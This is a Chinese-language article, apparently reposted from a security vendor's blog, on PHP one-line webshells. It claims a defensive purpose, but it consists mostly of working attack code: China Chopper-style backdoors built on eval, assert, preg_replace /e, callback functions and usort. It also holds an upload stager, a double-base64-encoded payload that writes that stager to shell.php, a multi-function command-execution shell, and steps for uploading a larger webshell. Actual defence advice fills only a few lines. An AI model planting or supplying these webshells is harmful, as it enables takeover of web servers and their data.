網站安全問題針對一句話木馬函式的普析與防範

網站安全發表於2018-06-08

本文內容轉載於Sinesafe網站安全服務http://www.sinesafe.com/article/20180608/244.html


PHP網站安全防一句話木馬入侵

一、首先是菜刀一句話木馬:
     
菜刀一句話木馬的原理是呼叫了PHP的程式碼執行函式,比如以下1和2兩個常見的一句話菜刀馬,就是呼叫了eval函式、assert函式。

1、eval()函式
 

#傳入的引數必須為PHP程式碼,既需要以分號結尾。
#命令執行:cmd=system(whoami);
#菜刀連線密碼:cmd
<?php @eval($_POST[`cmd`]);?>


 
那麼當我們上傳了eval函式的菜刀馬之後,在連線不上菜刀的情況下怎麼上傳大馬呢?繼續往下看這裡我是先寫一個上傳馬,再用上傳馬去上傳大馬,有點多次一舉,但是考慮到大馬程式碼量太多,還是建議先寫個上傳馬,以下程式碼只有1kb。(這是根據黑客的角度去模擬進行上傳木馬,自然防禦的方法就是針對這個eval函式的get post提交直接過濾掉。)


<?php
@$temp = $_FILES[`upload_file`][`tmp_name`];
@$file = basename($_FILES[`upload_file`][`name`]);
if (empty ($file)){
echo “<form action = “ method = `POST` ENCTYPE=`multipart/form-data`>
“;echo “Local file: <input type = `file` name = `upload_file`>
“;echo “<input type = `submit` value = `Upload`>
“;echo “</form>
<pre>

</pre>”;}else {if(move_uploaded_file($temp,$file)){echo “File uploaded successfully.<p>
“;}else {echo “Unable to upload ” . $file . “.<p>
“;}}?>


 




原理是利用檔案操作函式如下:
fputs(fopen(shell.php,w),xxxx);
寫入xxxx到指令碼執行檔案當前目錄下的shell.php檔案。
由於是利用post傳參,不能出現【<】【>】【+】【=】【/】等符號,所以這裡我們需要把程式碼編碼一下,將上面的上傳程式碼進行兩次base64編碼(為了去除=號)。
在編碼的時候空格和回車都會影響編碼後的結果,因此建議大家直接複製我上面的上傳馬或者用下面我編碼好的,或者自己去慢慢嘗試直到base64編碼後為一串自由數字和字母的字串即可。
接下來利用檔案操作函式寫入上傳馬,注意不要忘了最後的分號。
 

cmd=fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdEUXBBSkhSbGJYQWdQU0FrWDBaSlRFVlRXe
WQxY0d4dllXUmZabWxzWlNkZFd5ZDBiWEJmYm1GdFpTZGRPdzBLUUNSbWFXeGxJRDBnWW1GelpXNWhiV1VvSkY5R1NVeEZVMXNuZFhCc2IyRmtYM
lpwYkdVblhWc25ibUZ0WlNkZEtUc05DbWxtSUNobGJYQjBlU0FvSkdacGJHVXBLWHNOQ21WamFHOGdJanhtYjNKdElHRmpkR2x2YmlBOUlDY25JRzFsZ
EdodlpDQTlJQ2RRVDFOVUp5QkZUa05VV1ZCRlBTZHRkV3gwYVhCaGNuUXZabTl5YlMxa1lYUmhKejVjYmlJN1pXTm9ieUFpVEc5allXd2dabWxzWlRvZ1B
HbHVjSFYwSUhSNWNHVWdQU0FuWm1sc1pTY2dibUZ0WlNBOUlDZDFjR3h2WVdSZlptbHNaU2MrWEc0aU8yVmphRzhnSWp4cGJuQjFkQ0IwZVhCbElE
MGdKM04xWW0xcGRDY2dkbUZzZFdVZ1BTQW5WWEJzYjJGa0p6NWNiaUk3WldOb2J5QWlQQzltYjNKdFBseHVQSEJ5WlQ1Y2JseHVQQzl3Y21VK0lqdDla
V3h6WlNCN2FXWW9iVzkyWlY5MWNHeHZZV1JsWkY5bWFXeGxLQ1IwWlcxd0xDUm1hV3hsS1NsN1pXTm9ieUFpUm1sc1pTQjFjR3h2WVdSbFpDQnpkV0
5qWlhOelpuVnNiSGt1UEhBK1hHNGlPMzFsYkhObElIdGxZMmh2SUNKVmJtRmliR1VnZEc4Z2RYQnNiMkZrSUNJZ0xpQWtabWxzWlNBdUlDSXVQSEErWEc
0aU8zMTlQejQ9)));


成功得到上傳馬,之後就是上傳我們的大馬了。
 

2、assert()函式

#assert函式是直接將傳入的引數當成PHP程式碼直接,不需要以分號結尾,當然你加上也可以。
#命令執行:cmd=system(whoami)
#菜刀連線密碼:cmd
<?php @assert($_POST[`cmd`])?>


 
上傳大馬,這一步參考eval函式。

     其他的程式碼執行函式還有以下幾個,均給出了菜刀一句話木馬和連線方式:

(這是根據黑客的角度去模擬進行上傳木馬,自然防禦的方法就是針對這個assert()函式的get post提交直接過濾掉。)

3、preg_replace()
 


#preg_replace(`正則規則`,`替換字元`,`目標字元`)
#執行命令和上傳檔案參考assert函式(不需要加分號)。
#將目標字元中符合正則規則的字元替換為替換字元,此時如果正則規則中使用/e修飾符,則存在程式碼執行漏洞。
preg_replace(“/test/e”,$_POST[“cmd”],”jutst test”);


這裡可以使用chr()函式轉換ASCII編碼來執行程式碼。
#phpinfo();
eval(chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41).chr(59))
 

(這是根據黑客的角度去模擬進行上傳木馬,解決的建議方法就是針對這個preg_replace(“/test/e”,$_POST[“函式的get post提交直接過濾掉。)

4、create_function()函式
 


#建立匿名函式執行程式碼
#執行命令和上傳檔案參考eval函式(必須加分號)。
#菜刀連線密碼:cmd
$func =create_function(“,$_POST[`cmd`]);$func();



5、array_map()函式
 


#array_map() 函式將使用者自定義函式作用到陣列中的每個值上,並返回使用者自定義函式作用後的帶有新值的陣列。 回撥函式接受的引數數目應該和傳遞給 array_map() 函式的陣列數目一致。
#命令執行http://localhost/123.php?func=system   cmd=whoami
#菜刀連線http://localhost/123.php?func=assert   密碼:cmd
$func=$_GET[`func`];
$cmd=$_POST[`cmd`];
$array[0]=$cmd;
$new_array=array_map($func,$array);
echo $new_array;


 

6、call_user_func()函式
 

#傳入的引數作為assert函式的引數
#cmd=system(whoami)
#菜刀連線密碼:cmd
call_user_func(“assert”,$_POST[`cmd`]);



7、call_user_func_array()函式
 


#將傳入的引數作為陣列的第一個值傳遞給assert函式
#cmd=system(whoami)
#菜刀連線密碼:cmd
$cmd=$_POST[`cmd`];
$array[0]=$cmd;
call_user_func_array(“assert”,$array);



8、array_filter()函式
 


#用回撥函式過濾陣列中的元素:array_filter(陣列,函式)
#命令執行func=system&cmd=whoami
#菜刀連線http://localhost/123.php?func=assert  密碼cmd
$cmd=$_POST[`cmd`];
$array1=array($cmd);
$func =$_GET[`func`];
array_filter($array1,$func);



9、uasort()函式
 


#php環境>=<5.6才能用
#uasort() 使用使用者自定義的比較函式對陣列中的值進行排序並保持索引關聯 。
#命令執行:http://localhost/123.php?1=1+1&2=eval($_GET[cmd])&cmd=system(whoami);
#菜刀連線:http://localhost/123.php?1=1+1&2=eval($_POST[cmd])   密碼:cmd
usort($_GET,`asse`.`rt`);


Sine安全公司是一家專注於:伺服器安全網站安全、網站安全檢測、網站漏洞修復,滲透測試,安全服
 
務於一體的網路安全服務提供商。



二、命令執行函式
     PHP執行系統命令的有幾個常用的函式,如有:system函式、exec函式、popen函式,passthru,shell_exec函式他們都可以執行系統命令,下面是我整理的一個命令馬,把常見的命令執行函式都做了一個梳理,如果大家還有什麼新的思路或見解,可以一起交流交流。
 


<?php
$command=$_POST[`cmd`];
#function exec_all($command)
#{
    
//system函式可執行並直接顯示結果
if(function_exists(`system`))
{
    echo “<pre>”;
    system($command);
    echo “</pre>”;
}
 
//passthru函式可執行並直接顯示結果
else if(function_exists(`passthru`))
{
    echo “<pre>”;
    passthru($command);
    echo “</pre>”;
}
 
//shell_exec函式可執行但需要加echo才能顯示結果
else if(function_exists(`shell_exec`))
{
    echo “<pre>”;
    echo shell_exec($command);
    echo “</pre>”;
}
 
//function exec(命令,以陣列形式的儲存結果,命令執行的狀態碼)
//可執行,但需要加echo才能顯示結果
else if(function_exists(`exec`))
{  
    echo “<pre>”;
    exec($command,$output);
    echo “</br>”;
    print_r($output);
    echo “</pre>”;
}
 
//popen函式:開啟一個指向程式的管道,該程式由派生指定的 command 命令執行而產生。
//返回一個和 fopen() 所返回的相同的檔案指標,只不過它是單向的(只能用於讀或寫)
//此指標可以用於 fgets(),fgetss() 和 fwrite()。並且必須用 pclose() 來關閉。
//若出錯,則返回 false。
else if(function_exists(`popen`))
{
    $handle = popen($command , “r”); // Open the command pipe for reading
    if(is_resource($handle))
    {
        if(function_exists(`fread`) && function_exists(`feof`))
        {
            echo “<pre>”;
            while(!feof($handle))
            {
                echo fread($handle, 1024);       
            }
            echo “</pre>”;
        }
        else if(function_exists(`fgets`) && function_exists(`feof`))
        {
            echo “<pre>”;
            while(!feof($handle))
            {       
                echo fgets($handle,1024);
            }
            echo “<pre>”;
        }
    }
    pclose($handle);
}
 
//proc_open — 執行一個命令,並且開啟用來輸入/輸出的檔案指標。
else if(function_exists(`proc_open`))
{
    $descriptorspec = array(
            1 => array(“pipe”, “w”),  // stdout is a pipe that the child will write to
            );
    $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array `pipes`
    if(is_resource($handle))
    {
        if(function_exists(`fread`) && function_exists(`feof`))
        {
            echo “<pre>”;
            while(!feof($pipes[1]))
            {
                echo fread($pipes[1], 1024);       
            }
            echo “</pre>”;
        }
        else if(function_exists(`fgets`) && function_exists(`feof`))
        {
            echo “<pre>”;
            while(!feof($pipes[1]))
            {       
                echo fgets($pipes[1],1024);
            }
            echo “<pre>”;
        }
    }
    #pclose($handle);
}
 
else
{
    echo `GG`;
}
#}


     其他函式:
暫時就知道其他兩個函式,不過也都是基於以上的函式所變化的。
 
?

<?php
$cmd=$_POST[`cmd`];
echo “<pre>”;
 
//可執行並直接顯示結果,反引號,波浪鍵。
//shell_exec() 函式實際上僅是反撇號 (`) 操作符的變體
//所以如果把shell_exec()函式禁用了,反撇號 (`)也是執行不了命令的。
echo `$cmd`;
 
 
//注意,這個只顯示結果的第一行,因此基本只能執行whoami
//ob_start:開啟緩衝區,需要system函式開啟
$a = `system`;
ob_start($a);
echo “$_POST[cmd]”;
ob_end_flush();
 
echo “</pre>”;


     上面講完命令執行命令,也都可以執行命令了,那麼如何利用這些命令馬來進一步上傳指令碼大馬呢,這裡就要涉及到一下CMD命令進行上傳木馬了

成功執行命令之後,首先利用【dir】命令得到網站路徑,如果是mysql注入得到的os-shell也可用【dir d: /b】命令查詢存放網站程式的路徑。
 
這些一句話木馬程式碼所用到的函式千變萬化,那麼我們站在黑客的角度進行防禦 就要杜絕這些函式來執行上傳指令碼木馬來對網站進行安全防範,平常也可以通過搜尋這些函式來查詢網站的指令碼檔案有無被上傳這些一句話木馬函式的指令碼,綜合上述多個程式碼函式的黑客入侵應用方法要對程式中的get post head提交方式進行過濾以防再次被黑客入侵。



相關文章